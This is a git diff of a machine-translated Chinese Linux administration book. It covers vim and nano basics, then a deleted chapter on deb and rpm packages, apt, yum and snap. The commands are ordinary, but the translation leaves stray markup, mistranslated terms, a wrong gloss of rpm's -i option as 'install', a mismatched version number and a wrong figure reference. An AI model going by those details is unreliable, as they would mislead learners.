正在等待命令进行操作。 - -要激活`insert`模式,按键盘上的*i*键。 您将能够在光标的当前位置开始插入文本。 您也可以按*a*(用于追加)开始编辑到光标位置的右侧。 *i*和*a*都将激活`insert`模式。 按*Esc*键退出当前模式。 它会让你回到`command`模式。 - -如果您打开一个文件,其中已经包含文本,而在`command`模式下,您可以使用箭头键来导航该文件。 vim 继承了 vi 工作流,您还可以使用*h(左),*j(向下),【T6 k】*(向上),和【显示】l(右)。 在终端键盘还没有单独的方向键的时候,这些键都是遗留下来的。* - - *当您仍处于`command`模式(默认模式)时,您可以通过按键盘上的*r*激活`replace`模式。 您可以替换光标所在位置的字符。 - -在`command`模式下,按*/*键激活`search`模式。 进入模式后,可以开始键入搜索字符串,然后按*Enter*。 - -还有`last line`模式和`ex command`模式。 按*:*激活此模式。 这是一个扩展模式,其中的命令有`w`用于保存文件,`q`用于退出,或者`wq`用于同时保存和退出。 - -#### 基本 vim 命令 - -下面是常用 vim 命令的列表。 在`command`模式下可以使用: - -* `yy`:复制一个文本块(拉)。 -* `p`:粘贴复制的块。 -* `u`:取消上次操作。 -* `x`:删除右边的下一个字符(相对于光标的位置) -* `X`:删除前一个字符(相对于光标的位置)。 -* `dd`:删除光标所在的整行。 -* `h`:向左移动光标。 -* `l`:向右移动光标。 -* `k`:向上移动光标。 -* `j`:向下移动光标。 -* `w`:将光标右移到下一个单词的开头。 -* `b`:将光标向左移动到前一个单词的开头。 -* `^`:移动光标到行首。 -* `$`:移动光标到行尾。 -* `gg`:移动光标到文档的开头。 -* `G`:移动光标到文档末尾。 -* `: n`:移动光标到行号*n.* -* `i`:插入光标位置之前。 -* `I`:插入行首。 -* `a`:附加在光标右侧。 -* `A`:追加到行尾。 -* `o`:插入到下一行的开头。 -* `/`:激活`search`模式并查找字符串。 -* `?`:从光标位置向后搜索。 -* `n`:显示搜索字符串的下一个位置。 -* `N`:显示搜索字符串的前一个位置。 -* `:wq`:保存更改并退出 vim(写入并退出)。 -* `:q!`:强制退出(退出)不保存。 -* `:w!`:强制保存(写),不退出。 -* `ZZ`:保存并退出。 -* `:w file`:保存为一个新文件(`file`将是新的文件名)。 - -对于 Linux 新手来说,Vim 可能相当可怕。 如果您更喜欢其他编辑器,也没有什么可羞愧的,因为有大量的可供选择。 现在,我们将向你展示纳米的一瞥。 - -### 纳米文本编辑器 - -Vim 是一个强大的文本编辑器,知道如何使用它对任何系统管理员来说都是一件很重要的事情。 然而,还有其他文本编辑器同样强大,甚至更容易使用。 - -这就是 nano 的情况,它默认安装在 Ubuntu 和 CentOS 中,并且可以直接在这两种操作系统上使用。 在`.bashrc`文件中没有使用`$EDITOR`变量设置默认编辑器。 然而,在 Ubuntu 中,你可以使用以下命令检查系统上的默认编辑器: - -![Figure 2.39 – Checking the default text editor on Ubuntu](img/B13196_02_39.jpg) - -图 2.39 -检查 Ubuntu 上的默认文本编辑器 - -您可以在 Ubuntu 和 CentOS 上使用`nano`命令来调用 nano 编辑器。 当您输入命令时,nano 编辑器将打开,界面非常简单。 - -在本节中,我们了解了不同的编辑器及其命令。 - -# 总结 - -在本章中,您已经学习了如何使用 Linux 中最常用的命令。 现在,您知道了如何管理(创建、删除、复制和移动)文件,文件系统是如何组织的,如何使用目录,以及如何查看文件内容。 现在您已经了解了 shell 和基本权限。 您学到的技能将帮助您管理任何 Linux 发行版中的文件和编辑文本文件。 您已经学习了如何使用 vim,它是 Linux 中使用最广泛的命令行文本编辑器之一。 这些技能将帮助您学习如何使用其他文本编辑器,如 nano 和 emacs。 在本书的几乎每一章以及作为系统管理员的日常工作中,您都将使用这些技能。 - -在下一章中,您将学习如何管理包,包括如何在基于 Debian 和 Red hat 的发行版中安装、删除和查询包。 这个技能对任何管理员都很重要,必须是任何基本培训的一部分。 - -# 问题 - -在第二章中,我们介绍了 Linux 文件系统和作为整本书基础的基本命令。 这里有一些问题供你测试你的知识和进一步的实践: - -1. What is the command that creates a compressed archive with all the files inside the `/etc` directory that use the `.conf` extension? - - 提示:如本章所示,使用`tar`命令。 - -2. What is the command that lists the first five files inside `/etc` and sorts them by dimension in descending order? - - 提示:结合`find`和`sort`、`head`使用。 - -3. What command creates a hierarchical directory structure? - - 提示:按照本章所示使用`mkdir`。 - -4. What is the command that searches for files with three different extensions inside root? - - 提示:使用`find`命令。 - -5. Find out which commands inside Linux have the **Set owner User ID** (**SUID**) set up. - - 提示:使用带有`-perm`参数的`find`命令。 - -6. What is the command that lists all the installed packages on a system? - - 提示:结合`dpkg`和`awk`,输出重定向。 - -7. Which command is used to create a file with 1,000 lines of randomly generated words (one word per line)? - - 提示:使用`shuf`命令(本章中没有显示)。 - -8. Perform the same exercise as before, but this time generate a file with 1,000 randomly generated numbers. - - 提示:使用`for`循环。 - -9. How do you find out when sudo was last used and which commands were executed by it? - - 提示:使用`grep`命令。 - -# 进一步阅读 - -有关本章内容的更多资料,请参阅以下资料: - -* *Linux 基础*,*Oliver Pelz*,*Packt Publishing* -* *掌握 Ubuntu Server -第二版*,*Jay LaCroix*,*packagpublishing******** \ No newline at end of file diff --git a/docs/master-linux-admin/03.md b/docs/master-linux-admin/03.md deleted file mode 100644 index 1929145f..00000000 --- a/docs/master-linux-admin/03.md +++ /dev/null @@ -1,845 +0,0 @@ -# 三、Linux 软件管理 - -软件管理是 Linux 系统管理的一个重要方面。 了解如何使用软件包是您在完成本章后将掌握的一项资产。 - -在本章中,您将学习如何使用特定的软件管理命令,以及软件包如何根据您所选择的发行版工作。 您将了解最新的 snap 和 flatpak 包类型,以及如何在现代 Ubuntu 和 CentOS 发行版上使用它们。 在本章结束时,您还将了解如何构建自己的包。 - -在本章中,我们将涵盖以下主要主题: - -* Linux 软件包类型 -* 管理软件包 -* 从源代码构建一个包 - -# 技术要求 - -不需要特殊的技术要求,只需要在您的系统上安装一个可以工作的 Linux。 Ubuntu 和 CentOS 同样适合本章的练习,因为我们将介绍这两种类型的包管理器。 - -# Linux 软件包类型 - -正如您现在已经了解到的,Linux 发行版附带了一个内核及其上的应用。 尽管默认情况下已经安装了很多应用,但在某些情况下,您肯定会需要安装一些新的应用,或者删除一些不需要的应用。 - -在 Linux 中,应用被捆绑到**存储库**中。 存储库是由开发人员维护的软件包组成的集中管理的位置。 这些包可以包含单独的应用或与操作系统相关的文件。 每个 Linux 发行版都带有几个官方存储库,但是在这些存储库之上,您可以添加一些新的存储库。 添加它们的方法是针对每个发行版的,稍后我们将详细介绍。 - -Linux 有几种类型的包,但由于我们只介绍 Ubuntu 和 CentOS,我们将主要提到这两个发行版使用的那些包。 Ubuntu 使用`deb`包,因为它是基于 Debian 的;CentOS 使用`rpm`包,因为它是基于 Red Hat Enterprise Linux 的。 除此之外,最近还引入了两种新的包类型,一种是 Ubuntu 开发的 snap 包,另一种是 flatpak 包,由开发人员和组织的大型社区开发,包括 GNOME、Red Hat 和 Endless。 - -## DEB 和 RPM 包类型 - -DEB 和 RPM 是最古老的软件包类型,分别被 Ubuntu 和 CentOS 使用。 它们仍然被广泛使用,尽管前面提到的两种新类型开始在桌面 Linux 中占据一席之地。 - -这两种包都符合**Linux Standard Base**(**LSB**)规范。 LSB 的最后一个迭代版本是 5.0,于 2015 年发布。 你可以在以下地址找到更多的信息:[https://refspecs.linuxfoundation.org/lsb.shtml#PACKAGEFMT](https://refspecs.linuxfoundation.org/lsb.shtml#PACKAGEFMT)。 - -### DEB 包剖析 - -DEB 早在 1993 年就在 Debian 发行版中被引入,并且一直在 Debian 和 Ubuntu 派生版本中使用。 deb 包是一个二进制包。 这意味着它包含程序本身的文件,以及它的依赖项和元信息文件,所有这些都包含在一个归档文件中。 - -要查看二进制 deb 包的内容,可以使用`ar`命令。 它不是默认安装在 Ubuntu 20.04.1 LTS,所以你必须自己使用以下命令安装它: - -```sh -$ sudo apt install binutils -``` - -安装`ar`后,您可以检查任何 deb 包的内容。 在本练习中,我们下载了 Slack deb 包并检查其内容。 要下载软件包,请执行以下步骤: - -1. 使用以下`wget`命令,文件将在当前工作目录中下载: - - ```sh - $ wget https://downloads.slack-edge.com/linux_releases/slack-desktop-4.8.0-amd64.deb - ``` - -2. After that, use the `ar t slack-desktop-4.8.0-amd64.deb` command to view the contents of the binary package. The `t` option will display a table of contents for the archive: - - ![Figure 3.1 – Using the ar command to view the contents of a deb file](img/B13196_03_01.jpg) - - 图 3.1 -使用 ar 命令查看 deb 文件的内容 - - 正如您在这里看到的,输出列出了四个文件,其中两个是归档文件。 您还可以使用`ar`命令研究这个包。 - -3. 使用`ar x slack-desktop-4.8.0-amd64.deb`命令将包的内容解压到当前的工作目录: - - ```sh - $ ar x slack-desktop-4.8.0-amd64.deb - ``` - -4. 使用`ls`命令列出目录的内容。 这四个文件现在已经被提取出来,可以检查了。 `debian-binary`文件是一个文本文件,它包含包文件格式的版本,在我们的示例中是 2.0。 在以下命令的帮助下,可以连接该文件以在包上验证: - - ```sh - $ cat debian-binary - ``` - -5. `control.tar.gz`存档包含在安装期间或安装前后运行的元信息包和脚本,这取决于具体情况。 `data.tar.xz`归档文件包含程序的可执行文件和库,这些文件将在安装过程中被提取。 您可以使用以下命令检查内容: - - ```sh - $ tar tJf data.tar.xz | head - ``` - -6. 最后一个文件为`gpg`签名文件。 - -每个包的元信息是程序运行所必需的文件集合。 它们包含关于某些包的先决条件、所有它们的依赖关系、冲突和建议的信息。 只要使用与打包相关的命令,您就可以随意探索包的所有组成部分。 - -### RPM 包解剖 - -RPM 包由 Red Hat 公司开发,主要应用于 Fedora、CentOS、RHEL、SUSE 等操作系统。 该名称是 Red Hat Package Manager 的首字母缩略词。 RPM 二进制包类似于 DEB 二进制包。 它们也被打包成存档文件。 - -我们将测试 Slack 的 rpm 包,就像我们在前一节中测试 deb 包一样。 使用以下命令下载`rpm`包: - -```sh -# wget https://downloads.slack-edge.com/linux_releases/slack-4.8.0-0.1.fc21.x86_64.rpm -``` - -如果您想使用相同的`ar`命令,您将看到在`rpms`的情况下,归档工具将无法识别文件格式。 然而,还有其他更强大的工具可以使用。 我们将使用`rpm`命令,即为`rpms`指定的低级包管理器。 我们将使用`-q`(查询)、`-p`(包名)和`-l`(列表)选项: - -```sh -# rpm -qpl slack-4.8.0-0.1.fc21.x86_64.rpm -``` - -与`deb`包相反的输出将是与应用相关的所有文件的列表,以及系统的安装位置。 - -要查看包的元信息,请运行带有`-q`、`-p`和`-i`(install)选项的`rpm`命令。 例如,在松弛包上使用它: - -```sh -rpm -qpi slack-4.8.0-0.1.fc21.x86_64.rpm -``` - -输出将包含有关应用名称、版本、发布、架构、安装日期、组、大小、许可、签名、源 RPM、构建日期和主机、URL、重定位和摘要的信息。 - -要查看包在安装时还需要哪些其他依赖项,可以使用`-q`、`-p`和`–requires`选项运行相同的`rpm`命令: - -```sh -$ rpm -qp - -requires slack-4.8.8-0.1.fc21.x86_64.rpm -``` - -DEB 和 RPM 包并不是唯一的。 如前所述,有一些新的包可以用于跨平台的 Linux 发行版。 这些包是 flatpaks 和 snaps,我们将在下一节详细介绍它们。 - -## snap and flatpak package 类型 - -Snap 和 flatpak 是相对较新的软件包类型,它们被认为是 Linux 应用的未来。 它们都在隔离的容器中构建和运行应用,以获得更多的安全性和可移植性。 两者的创建都是为了克服对桌面应用易于安装和可移植性的需求。 - -即使主要的 Linux 发行版有大型应用存储库,分发软件对于很多类型的 Linux 发行版,每个都有自己的包类型,可以成为一个严重的问题**独立软件供应商**(**isv)或社区的维护者。 这就是 snaps 和 flatpaks 的救命之处,它们的目的是减轻分发软件的重量。** - -让我们假设我们是独立的软件开发人员,目标是在 Linux 上开发我们的产品。 一旦我们的软件的新版本可用,我们需要创建至少两种类型的包,可以直接从我们的网站下载-一个用于 Debian/Ubuntu 的`.deb`包,和一个用于 Fedora/RHEL/SUSE 的`.rpm`包。 - -但是,如果我们想克服这个问题,并让我们的应用在大多数现有的 Linux 发行版中可以交叉发行,我们可以将它作为 flatpak 或 snap 发行。 flatpak 可以通过集中式 flatpak 存储库`flathub`使用,snap 可以通过集中式 snap 存储库`snapcraft`使用。 任何一种都同样适合我们的目标,即以最小的资源消耗和集中的工作将应用分发到所有主要的 Linux 发行版。 - -这种情况的寓意是,为 Linux 分发软件的努力要高于为 Windows 或 macOS 打包的相同应用的情况。 希望在不久的将来,将只有一个通用的软件包用于发布 Linux 软件,这对用户和开发人员都有好处。 - -### 快速封装解剖 - -快照文件实际上是一个`SquashFS`文件。 这意味着它有自己的文件系统封装在一个不可变容器中。 它有一个非常严格的环境,有具体的隔离和禁闭规则。 每个 snap 文件都有一个元信息目录,用于存储控制其行为的文件。 - -与平板电脑不同,快照不仅用于桌面应用,还用于更广泛的服务器和嵌入式应用。 这是因为 snap 起源于 Ubuntu 物联网和手机的 Snappy,这个发行版是 Ubuntu 开发人员 Canonical 努力融合的灯塔。 - -### 扁平包解剖 - -Flatpak 基于一种名为 OSTree 的技术。 这项技术是由 GNOME 和 Red Hat 的开发人员发起的,现在在 Fedora Silverblue 中以`rpm-ostree`的形式大量使用。 它是一个新的 Linux 升级系统,旨在与现有的包管理系统一起工作。 它的灵感来自 Git,因为它以类似的方式运行。 可以把它看作是操作系统级别的版本控制系统。 它使用内容地址对象存储,允许共享分支,并为操作系统提供事务升级、回滚和快照选项。 - -目前,该项目已更名为`libostree`,以顺利聚焦于已经使用该技术的项目。 在许多使用它的项目中,我们只将两个项目带入讨论:flatpak 和`rpm-ostree`。 `rpm-ostree`项目被认为是用于 Fedora 和 CentOS/RHEL 等发行版的下一代混合包系统。 它们基于 Fedora 和 Red Hat 团队开发的 Atomic 项目,该项目为服务器和桌面等带来了不变的基础设施。 openSUSE 开发人员开发了一种类似的技术,称为 Snapper,这是其`btrfs`文件系统的一个操作系统快照工具。 - -Flatpak 像使用`rpm-ostree`一样使用`libostree`,但仅用于桌面应用容器,没有引导加载程序管理。 Flatpak 基于一个名为`Bubblewrap`的项目使用沙箱,它允许无特权的用户访问用户名称空间并使用容器特性。 - -snaps 和 flatpaks 都完全支持图形化安装,而且还提供命令以方便从 shell 进行安装和设置。 在下面几节中,我们将只关注这两种包类型的命令操作。 - -# 软件包管理 - -每个发行版都有自己的包管理器。 每个发行版都有两种类型的包管理器,一种用于低级包管理,另一种用于高级包管理。 对于 CentOS 或 Fedora 等基于 rpm 的发行版,低级工具是`rpm`命令,高级工具是`yum`和`dnf`命令。 对于 openSUSE(另一个主要的基于 rpm 的发行版),低级工具是相同的`rpm`命令,而对于高级工具,则有`zypper`命令。 对于基于 deb 的发行版,低级命令是`dpkg`,高级命令是`apt`(或者现在已弃用的`apt-get`)。 - -Linux 中低级包管理器和高级包管理器之间的区别是什么? 低级包管理器负责任何包操作的后端,能够解包、运行脚本和安装应用。 高级管理人员负责依赖性解析、安装和下载包(以及包组)以及元数据搜索。 - -## 管理 DEB 包 - -通常,对于任何发行版,包管理由管理员或具有根权限的用户(`sudo`)处理。 包管理意味着任何类型的包操作,例如安装、搜索、下载和删除。 对于所有这些类型的操作,都有特定的 Linux 命令,我们将在下面几节中展示如何使用它们。 - -### 存储库 - -Ubuntu 官方软件库由大约 60000 个软件包组成。 它们采用二进制`.deb`包或快照包的形式。 系统存储库的配置存储在一个文件`/etc/apt/sources.list`中。 Ubuntu 有四个主要的软件库,你可以在`sources.list`文件中看到它们的详细信息。 这些储存库如下: - -* `Main`-包含 Canonical 支持的免费和开源软件 -* `Universe`-包含社区支持的免费和开源软件 -* 包含专有软件 -* -包含受版权限制的软件 - -所有存储库在`sources.list`文件中默认是启用的。 如果您想禁用其中一些,请随意编辑该文件。 - -### APT-related 命令 - -直到 4 年前,任何基于 debian 的发行版中的包都是使用`apt-get`命令实现的。 从那时起,一个新的改进的命令`apt`(来自 Advanced Packaging Tool)被用作高级包管理器。 新的指挥系统比 T2 更精简和结构更好,因此提供了更完整的体验。 - -在使用`apt`命令进行任何工作之前,您应该更新所有可用包的列表。 这是通过以下命令完成的: - -```sh -$ sudo apt update -``` - -该命令的输出将显示是否有可用的更新。 需要更新的包的数量将会显示出来,同时还会显示一个命令,如果您想了解它们的更多细节,可以运行该命令。 - -在进一步讨论之前,我们鼓励您使用`apt - -help`命令,因为这将显示最常用的`apt`相关命令。 - -让我们在下一小节中更详细地讨论一些最常用的命令。 - -#### 安装和删除软件包 - -基本的系统管理任务包括安装和删除软件包。 在本章中,我们将向您展示如何使用 apt 命令安装和删除。 - -要安装一个新包,您将使用`apt install`命令。 我们在这本书里已经用过这个了。 请记住,我们必须安装`ar`命令作为检查`.deb`包的替代命令。 然后我们使用以下命令: - -```sh -$ sudo apt install binutils -``` - -这个命令在系统上安装了几个包,其中一个是我们完成操作所需的包。 `apt`命令也会自动安装任何必需的依赖项。 - -要删除包,可以使用`apt remove`和`apt purge`命令。 第一种方法删除已安装的包及其通过`apt install`命令安装的所有依赖项。 后者将执行卸载,就像`apt remove`一样,但它也删除应用创建的任何配置文件。 - -在下面的例子中,我们将删除之前安装的`binutils`应用: - -```sh -$ sudo apt remove binutils -``` - -输出将显示一个不再需要的包列表,这些包将从系统中删除,并要求您确认是否继续。 这是一个非常好的安全措施,让您有机会查看将要删除的文件。 如果您对操作有信心,可以在命令末尾添加一个`-y`选项参数,它告诉 shell 命令提供的任何问题的答案将自动为*Yes*。 - -下面是`apt purge`命令: - -```sh -$ sudo apt purge binutils -``` - -输出类似于`apt remove`命令,显示将删除哪些包,磁盘上将释放多少空间,以及确认是否继续操作。 - -因此,如前所述,只有通过使用`apt remove`命令,才会留下一些配置文件,以防操作发生意外,并且用户希望恢复到以前的配置。 没有被`remove`命令删除的文件是可以很容易恢复的小型用户配置文件。 如果操作不是偶然的,并且您仍然想要删除所有文件,您仍然可以使用`apt purge`命令来完成此操作,方法是使用与已经删除的包相同的名称。 - -#### 升级系统 - -每隔一段时间和,您都需要执行一次系统升级,以确保安装了所有最新的安全更新和补丁。 执行此操作的命令如下: - -```sh -$ sudo apt upgrade -``` - -它的前面应该总是这样的命令: - -```sh -$ sudo apt update -``` - -这样做是为了确保更新所有的包列表和存储库信息。 `update`命令有时会显示哪些包不再需要了,其消息如下所示: - -```sh -The following packages were automatically installed and are no longer required: -  libfprint-2-tod1 libllvm9 -Use 'sudo apt autoremove' to remove them. -``` - -升级完成后,可以使用`sudo apt autoremove`命令删除不需要的软件包。 `autoremove`命令的输出将显示哪些包将被删除,以及磁盘上将释放多少空间,并将请求您的批准以继续操作。 - -假设在我们使用 Ubuntu 的过程中,发布了一个新的发行版,我们希望使用它,因为它有我们使用的软件的更新包。 使用命令行,我们可以进行一个完整的发行版升级。 此操作的命令如下: - -```sh -$ sudo apt dist-upgrade -``` - -与此类似,我们也可以使用以下命令: - -```sh -$ sudo apt full-upgrade -``` - -升级到一个新的发行版应该是一个简单的过程,但这并不总是一个保证。 这完全取决于您的自定义配置。 无论如何,我们建议您在升级到新版本之前做一个完整的系统备份。 - -#### 管理包信息 - -使用包有时意味着使用信息收集工具。 仅仅安装和删除包是不够的。 您将需要搜索特定的包,显示关于它们的详细信息,根据特定的条件创建列表,等等。 - -使用`apt search`命令搜索特定的包。 它将为您列出在其名称中包含搜索字符串的所有包,以及以各种方式使用该字符串的其他包。 例如,让我们搜索名为`nmap`的包: - -```sh -$ sudo apt search nmap -``` - -输出将显示一个相当长的包列表,这些包以各种方式使用了`nmap`字符串。 你仍然需要在列表中上下滚动才能找到你想要的包裹。 为了获得更好的结果,您可以将输出通过管道传递到`grep`命令,但是您会注意到一个警告,就像下面的截图: - -![Figure 3.2 – Output of the apt search command](img/B13196_03_02.jpg) - -图 3.2 - apt 搜索命令的输出 - -在警告之后,输出显示了包含字符串`nmap`的包的简短列表,其中就是我们要查找的实际包,在*图 3.5*中突出显示。 - -要克服该警告,可以使用称为`apt-cache search`的遗留命令。 通过运行它,您将得到一个包列表作为输出,但不像`apt search`命令的输出那样详细: - -![Figure 3.3 – The output of the apt-cache command](img/B13196_03_03.jpg) - -图 3.3 - apt-cache 命令的输出 - -现在我们知道了`nmap`包存在于 Ubuntu 软件库中,我们可以通过使用`apt show`命令来进一步研究它: - -```sh -$ apt show nmap -``` - -输出将显示详细的描述,包括包名、版本、优先级、起源和节、维护程序、大小、依赖关系、建议的额外包、下载大小、APT 源和描述。 - -Apt 还有一个有用的`list`命令,它可以根据特定的标准列出包。 例如,如果我们单独使用`apt list`命令,它将列出所有可用的包。 但如果我们使用不同的选项,输出将是个性化的。 - -为了显示已安装的包,我们将使用`-- installed`选项: - -```sh -$ sudo apt list --installed -``` - -要列出所有的包,使用以下命令: - -```sh -$ sudo apt list -``` - -出于比较的原因,我们将每个输出重定向到不同的文件,然后比较两个文件。 这是一项比较容易完成的任务,以便查看两个输出之间的差异,因为列表相当大。 现在我们将运行具体的命令,如下所示: - -![Figure 3.4 – Comparison of installed packages](img/B13196_03_04.jpg) - -图 3.4 -安装包的比较 - -还有其他方法可以比较这两种输出,我们希望让你自己去发现它们,作为本章的练习。 您可以随意使用任何其他与 apt 相关的命令,并进行充分的练习以熟悉它们的使用。 APT 是一个功能强大的工具,任何系统管理员都必须知道如何使用它,才能维持一个可用的、维护良好的 Linux 系统。 可用性与所使用的应用及其系统优化密切相关。 - -## 管理 RPM 包 - -RPM 包是相当于 Fedora、CentOS、RHEL 和 openSUSE/SLES 等 Linux 发行版的软件包。 它们有专门的高级工具,包括`dnf`、`yum`和`zypper`。 低级工具是`rpm`命令。 - -在 CentOS 8 中,默认的包管理器是 yum(来自 Yellow Dog updatater, Modified),它实际上是基于`dnf`(Dandified yum), Fedora 中的默认包管理器。 如果您同时使用 Fedora 和 CentOS,为了方便使用,您只能使用其中一个,因为它们基本上是相同的命令。 为了保持一致性,我们将在本章的所有例子中使用 YUM 名称。 - -Yum 是默认的高级管理器。 它管理安装、删除、更新和包查询,并解决依赖关系。 Yum 既可以管理从存储库安装的包,也可以管理从本地`.rpm`包安装的包。 - -### 存储库 - -存储库都是在`/etc/yum.repos.d/`目录中管理的,配置在`/etc/yum.conf`文件中可用。 如果你用`ls -l`命令列出`repos`目录,输出将显示所有存储库文件的列表: - -```sh -ls -l /etc/yum.repos.d/ -``` - -这里列出的所有文件都包含与存储库有关的重要信息,例如名称、镜像列表、gpg 密钥位置和启用状态。 所有列出的都是官方存储库。 - -### YUM-related 命令 - -Yum 有许多命令和选项,但最常用的是与包安装、删除、搜索、信息查询、系统更新和存储库列表相关的命令和选项。 - -#### 安装和删除软件包 - -要从 CentOS 8 的存储库中安装包,只需运行`yum install`命令。 在下面的例子中,我们将通过命令行安装 GIMP 应用: - -```sh -$ sudo yum install gimp -``` - -如果已经下载了一个包并想安装它,可以使用`yum localinstall`命令。 要安装之前下载的 Slack`.rpm`包,使用以下命令(以 root 用户登录): - -```sh -yum localinstall slack-4.8.0-0.1.fc21.x86_64.rpm -``` - -一旦运行该命令,您将看到它自动解析所需的依赖项,并显示每个依赖项的源(存储库)(在我们的示例中,它是 AppStream 存储库)。 一个显著的区别是本地包的存储库,它看起来是`@commandline`。 - -这是一个非常强大的命令,在某些情况下,`rpm`命令本身的使用几乎是多余的。 `yum install`和`yum localinstall`命令之间的主要区别在于,后者能够解决本地下载包的依赖关系。 第一个命令在活动存储库中查找包,而第二个命令在当前工作目录中查找要安装的包。 - -使用`yum remove`命令从系统中删除包。 我们将使用以下命令(以 root 用户登录)删除新安装的 Slack 包: - -```sh -yum remove slack.x86_64 -``` - -运行该命令后,系统将询问您是否要删除这些包及其依赖项。 在这方面,请考虑下一个重要注意事项。 - -重要提示 - -默认动作按下*进入*或*返回键在 CentOS 是*N 命令对话框*(不,或消极的),而在 Ubuntu, Y 默认操作设置为*(是的)。 这是一种预防性的安全措施,需要额外的关注和干预。** - - **输出非常类似于安装命令的输出,将显示如果继续执行该命令,将删除哪些包和依赖项。 - -如您所见,使用`yum localinstall`命令安装在包中的所有依赖项将使用`yum remove`命令删除。 如果要求继续操作,键入`y`并继续操作。 - -#### 升级系统 - -要升级 CentOS 8 系统,我们将使用`yum upgrade`命令。 还有一个`yum update`命令,它通过更新已安装的包具有相同的效果: - -```sh -$ sudo yum upgrade -``` - -您可以使用`-y`选项自动响应命令的问题。 - -还有一个`upgrade-minimal`命令,它只安装包的最新安全更新。 - -#### 管理包信息 - -使用`yum`管理文件与使用`apt`管理文件非常相似。 有很多命令可以使用,我们将详细介绍其中一些,我们认为是最常用的。 要查找关于这些命令及其使用的更多信息,请运行`yum - -help`。 - -要查看 yum 命令历史和哪个包被管理的概述,使用以下命令: - -```sh -$ sudo yum history -``` - -这将给你一个输出,显示每一个 yum 命令的运行,有多少包被更改,以及执行操作的时间和日期,如下面的示例所示: - -![Figure 3.5 – Using the yum history command](img/B13196_03_05.jpg) - -图 3.5 -使用 yum history 命令 - -要显示关于某个包的详细信息,可以使用`yum info`命令。 我们将查询`nmap`包,就像我们在 Ubuntu 中做的一样: - -```sh -yum info nmap -``` - -输出将显示名称、版本、发行版、源代码、存储库和描述,这与我们在`.deb`包中看到的非常相似。 - -要列出所有已安装的包,或者所有的包,我们使用`yum list`命令: - -```sh -# yum list -# yum list installed -``` - -如果我们将每个命令的输出重定向到特定的文件,然后比较两个文件,我们将看到它们之间的差异,类似于我们在 Ubuntu 中所做的。 输出显示包的名称、版本和发布号,以及安装它的存储库。 这里有一个简短的摘录: - -![Figure 3.6 – Excerpt of the yum list installed command](img/B13196_03_06.jpg) - -图 3.6 -安装 yum list 命令的摘录 - -由于我们已经介绍了 deb 和 rpm 文件最常用的命令,让我们看看如何在您的 Linux 机器上管理 flatpaks 和 snaps。 - -## 使用 snap 和 flatpak 包装 - -Snaps 和 flatpaks 是在各种 Linux 发行版中使用的相对较新的包类型。 在本节中,我们将向您展示如何管理这些类型的包。 对于快照,我们将使用 Ubuntu 作为我们的测试发行版,对于平板包,我们将使用 CentOS,尽管经过一些工作,两种包类型都可以在任何一个发行版上工作。 - -### 管理 Ubuntu 上的 snap 包 - -Snap 默认安装在 Ubuntu 20.04.1 LTS 中。 因此,您不需要做任何事情来安装它。 只需开始搜索您想要的包,并将其安装到您的系统上。 我们将使用 Slack 应用向您展示如何使用快照。 - -#### 寻找拍摄 - -Slack 在`snapcraft`存储中有可用,所以您可以安装它。 为了确保这一点,您可以使用`snap find`命令搜索它,如下例所示: - -```sh -snap find "slack" -``` - -在命令的输出中,您将看到更多包含字符串`slack`或与 Slack 应用相关的包,但我们对这些不感兴趣。 我们只对显示 Slack 应用的那个感兴趣。 - -重要提示 - -在任何 Linux 发行版中,两个来自不同包并安装了不同包管理器的应用可以共存。 例如,Slack 可以使用从网站提供的 deb 文件安装,也可以使用从 snap store 安装的文件。 - -输出表明包是可用的,所以我们可以继续并在系统上安装它。 - -#### 安装快速封装 - -要为 Slack 安装快照包,我们将使用`snap install`命令。 在我们的例子中,这可能与您的情况一致,第一次尝试安装 Slack 包以一个警告结束。 它说我们将要安装的包将在常规快照的沙盒之外执行,只有在我们了解风险的情况下,我们才应该继续: - -![Figure 3.7 – Output error while trying to install the Slack snap package](img/B13196_03_07.jpg) - -图 3.7 -试图安装 Slack snap 包时的输出错误 - -我们理解的风险,并决定继续进行,但如果您认为风险可能太高,您可以不这样做。 安装 snap 包的命令如下: - -![Figure 3.8 – A successful attempt to install Slack](img/B13196_03_08.jpg) - -图 3.8 -成功安装 Slack - -接下来,让我们看看如何找到更多关于 snap 包的信息。 - -#### Snap 包信息 - -如果你想了解更多关于这个包的,你可以使用`snap info`命令: - -```sh -$ snap info slack -``` - -输出将显示有关包名称、摘要、发布者、描述和 ID 的相关信息。 最后显示的信息将是关于可用的渠道,以下是我们 Slack 包的情况: - -![Figure 3.9 – Snap channels shown for the Slack app](img/B13196_03_09.jpg) - -图 3.9 - Slack 应用显示的 Snap 通道 - -每个频道都有关于特定版本的信息,所以知道选择哪个频道是很重要的。 默认情况下,稳定通道将由`install`命令选择,但是如果您希望使用不同的版本,则可以在安装期间使用`--channel`选项。 在前面的示例中,我们使用默认选项。 - -#### 显示已安装的快照包 - -如果您想查看系统上已安装扣的列表,请使用`snap list`命令。 尽管我们只在系统上安装了 Slack,但在输出中,你会看到安装了更多的应用。 有些,如`core`和`snapd`,是在发行版的安装中默认安装的,并且是系统所需要的: - -![Figure 3.10 – Output of the snap list command](img/B13196_03_10.jpg) - -图 3.10 - snap list 命令的输出 - -现在我们将学习如何更新快照包。 - -#### 更新快照包 - -快照自动更新。 因此,你不需要自己做任何事情。 您至少可以检查一个更新是否可用,并使用`snap refresh command`加速其安装,如下所示: - -```sh -$ sudo snap refresh slack -``` - -在更新之后,如果你想回到以前使用的应用版本,你可以使用`snap revert`命令,如下所示: - -```sh -$ sudo snap revert slack -``` - -在下一节中,我们将看到如何启用和禁用 snap 包。 - -#### 启用或禁用快照包 - -如果我们决定暂时不使用某个应用,我们可以使用`snap disable`命令禁用该应用。 如果我们决定重用这个应用,我们可以使用`snap enable`命令再次启用它: - -![Figure 3.11 – Enabling and disabling a snap app](img/B13196_03_11.jpg) - -图 3.11 -启用和禁用 snap 应用 - -如果禁用不是您想要的,您可以完全删除 snap。 - -#### 移除单元包 - -在删除快照应用时,关联的配置文件、用户和数据也会被删除。 要使用的命令是`snap remove`,如下面的例子所示,我们将在这里删除之前安装的 Slack 包: - -```sh -sudo snap remove slack -``` - -应用的内部用户、配置和系统数据会保存 31 天。 文件被称为快照,归档和保存在`/var/lib/snapd/snapshots`,并包含以下类型的文件:`.json`文件包含一个描述的快照,`.tgz`文件包含系统数据和特定`.tgz`文件系统的用户详细信息。 上述目录的简短列表将显示自动创建的 Slack 快照: - -```sh -sudo ls /var/lib/snapd/snapshots/ -``` - -如果不希望创建快照,可以使用`snap remove`命令的`--purge`选项。 对于使用大量数据的应用,这些快照的大小可能很大,并影响可用磁盘空间。 要查看保存在系统上的快照,使用`snap 